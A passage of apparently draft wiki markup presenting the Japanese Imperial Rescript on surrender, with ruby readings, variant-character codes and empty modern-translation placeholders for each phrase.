lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;之&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;これ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;知&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;る。&lt;ruby&gt;&lt;rb&gt;然&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れども&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;時&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;運&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;うん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;趨&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おもむ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;所&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ところ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、
&lt;ruby&gt;&lt;rb&gt;堪&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;た&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;え&lt;ruby&gt;&lt;rb&gt;難&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;がた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;きを&lt;ruby&gt;&lt;rb&gt;堪&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;た&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;え、&lt;ruby&gt;&lt;rb&gt;忍&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;び&lt;ruby&gt;&lt;rb&gt;難&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;がた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;きを&lt;ruby&gt;&lt;rb&gt;忍&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;び、&lt;ruby&gt;&lt;rb&gt;以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;万&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ばん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;為&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ため&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;太&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;平&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;へい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;開&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひら&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;かんと&lt;ruby&gt;&lt;rb&gt;欲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;す。&lt;/p&gt;
&lt;/div&gt;
# [[#朕&amp;#xE0102;ハ帝國ト共ニ]]
# [[#終&amp;#xE0101;始東亞ノ解放ニ協力セル諸&amp;#xE0100;盟邦&amp;#xE0102;ニ對シ]]
# [[#遺&amp;#xE0101;憾ノ意ヲ表セサルヲ得ス]]
# [[#帝國臣民ニシテ]]
# [[#戰陣ニ死シ]]
# [[#職域ニ殉シ]]
# [[#非命ニ斃レタル者&amp;#xE0101;]]
# [[#及&amp;#xE0101;其ノ遺&amp;#xE0101;族ニ想ヲ致セハ]]
# [[#五內爲ニ裂ク]]
# [[#且戰傷ヲ負&amp;#xE0102;ヒ]]
# [[#災禍&amp;#xE0100;ヲ蒙リ]]
# [[#家業ヲ失ヒタル者&amp;#xE0101;ノ]]
# [[#厚生ニ至リテハ]]
# [[#朕&amp;#xE0102;ノ深ク軫念スル所&amp;#xE0101;ナリ]]
# [[#惟フニ今後帝國ノ受クヘキ苦難&amp;#xE0100;ハ]]
# [[#固ヨリ尋&amp;#xE0101;常ニアラス]]
# [[#爾臣民ノ衷情&amp;#xE0101;モ朕&amp;#xE0102;善ク之ヲ知ル]]
# [[#然レトモ朕&amp;#xE0102;ハ時運&amp;#xE0101;ノ趨ク所&amp;#xE0101;]]
# [[#堪ヘ難&amp;#xE0100;キヲ堪ヘ忍&amp;#xE0101;ヒ難&amp;#xE0100;キヲ忍&amp;#xE0101;ヒ]]
# [[#以テ萬世ノ爲ニ太平&amp;#xE0101;ヲ開カムト欲ス]]

=== 朕&amp;#xE0102;ハ帝國ト共ニ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 終&amp;#xE0101;始東亞ノ解放ニ協力セル諸&amp;#xE0100;盟邦&amp;#xE0102;ニ對シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 遺&amp;#xE0101;憾ノ意ヲ表セサルヲ得ス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 帝國臣民ニシテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 戰陣ニ死シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 職域ニ殉シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 非命ニ斃レタル者&amp;#xE0101; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 及&amp;#xE0101;其ノ遺&amp;#xE0101;族ニ想ヲ致セハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 五內爲ニ裂ク ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 且戰傷ヲ負&amp;#xE0102;ヒ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 災禍&amp;#xE0100;ヲ蒙リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 家業ヲ失ヒタル者&amp;#xE0101;ノ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 厚生ニ至リテハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;ノ深ク軫念スル所&amp;#xE0101;ナリ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 惟フニ今後帝國ノ受クヘキ苦難&amp;#xE0100;ハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 固ヨリ尋&amp;#xE0101;常ニアラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 爾臣民ノ衷情&amp;#xE0101;モ朕&amp;#xE0102;善ク之ヲ知ル ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 然レトモ朕&amp;#xE0102;ハ時運&amp;#xE0101;ノ趨ク所&amp;#xE0101; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 堪ヘ難&amp;#xE0100;キヲ堪ヘ忍&amp;#xE0101;ヒ難&amp;#xE0100;キヲ忍&amp;#xE0101;ヒ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 以テ萬世ノ爲ニ太平&amp;#xE0101;ヲ開カムト欲ス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;
&lt;span style=&quot;color:#500;&quot;&gt;
&lt;/span&gt;
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;p style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;

== 第五段落 ==
&lt;!--◆第五段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ハ玆ニ國體ヲ護持シ得テ忠良ナル爾臣民ノ赤&lt;span style=&quot;color:#500;&quot;&gt;誠&amp;#xE0101;&lt;/span&gt;ニ信倚シ常ニ爾臣民ト共ニ在リ若シ夫レ&lt;span style=&quot;color:#500;&quot;&gt;情&amp;#xE0101;&lt;/span&gt;ノ激スル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;濫ニ事端ヲ滋クシ或ハ同&lt;span style=&quot;color:#500;&quot;&gt;胞&amp;#xE0101;&lt;/span&gt;排擠互ニ時局ヲ亂リ爲ニ大&lt;span style=&quot;color:#500;&quot;&gt;道&amp;#xE0101;&lt;/span&gt;ヲ&lt;span style=&quot;color:#500;&quot;&gt;誤&amp;#xE0101;&lt;/span&gt;リ信義ヲ世界ニ失フカ如キハ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;最モ之ヲ戒ム宜シク擧國一家子孫相傳ヘ確ク&lt;span style=&quot;color:#500;&quot;&gt;神&amp;#xE0100;&lt;/span&gt;州ノ不滅ヲ信シ任重クシテ&lt;span style=&quot;color:#500;&quot;&gt;道&amp;#xE0101;&lt;/span&gt;&lt;span style=&quot;color:#500;&quot;&gt;遠&amp;#xE0101;&lt;/span&gt;キヲ念ヒ總力ヲ將來ノ&lt;span style=&quot;color:#500;&quot;&gt;建&amp;#xE0101;&lt;/span&gt;設ニ傾ケ&lt;span style=&quot;color:#500;&quot;&gt;道&amp;#xE0101;&lt;/span&gt;義ヲ篤クシ志操ヲ鞏クシ誓テ國體ノ&lt;span style=&quot;color:#500;&quot;&gt;精&amp;#xE0100;&lt;/span&gt;華ヲ發揚シ世界ノ&lt;span style=&quot;color:#500;&quot;&gt;進&amp;#xE0101;&lt;/span&gt;運󠄁ニ後レサラムコトヲ期スヘシ爾臣民其レ克ク&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ意ヲ體セヨ&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.5; font-family:游明朝;font-size:13pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;玆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ここ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に &lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;体&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;護&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ご&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;持&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し&lt;ruby&gt;&lt;rb&gt;得&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;え&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て、&lt;ruby&gt;&lt;rb&gt;忠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;良&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なる&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;赤&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;誠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;信&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;倚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;常&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つね&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;在&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;り。
&lt;ruby&gt;&lt;rb&gt;若&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;も&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し&lt;ruby&gt;&lt;rb&gt;夫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れ&lt;ruby&gt;&lt;rb&gt;情&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;激&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;する&lt;ruby&gt;&lt;rb&gt;所&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ところ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;濫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みだり&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;事&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;端&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;滋&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しげ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くし、&lt;ruby&gt;&lt;rb&gt;或&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あるい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;同&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;胞&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;排&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;擠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;互&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たがい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;時&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;局&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;乱&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みだ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;り、&lt;ruby&gt;&lt;rb&gt;為&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ため&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;大&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;だい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;道&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;誤&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あやま&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;り、&lt;ruby&gt;&lt;rb&gt;信&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;義&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;失&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;うしな&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;うが&lt;ruby&gt;&lt;rb&gt;如&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ごと&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;きは、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;最&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっと&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;も&lt;ruby&gt;&lt;rb&gt;之&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;これ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;戒&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いまし&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;む、&lt;ruby&gt;&lt;rb&gt;宜&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よろ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;しく&lt;ruby&gt;&lt;rb&gt;挙&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;一&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;家&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;か&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;子&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;孫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;相&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;伝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;え、
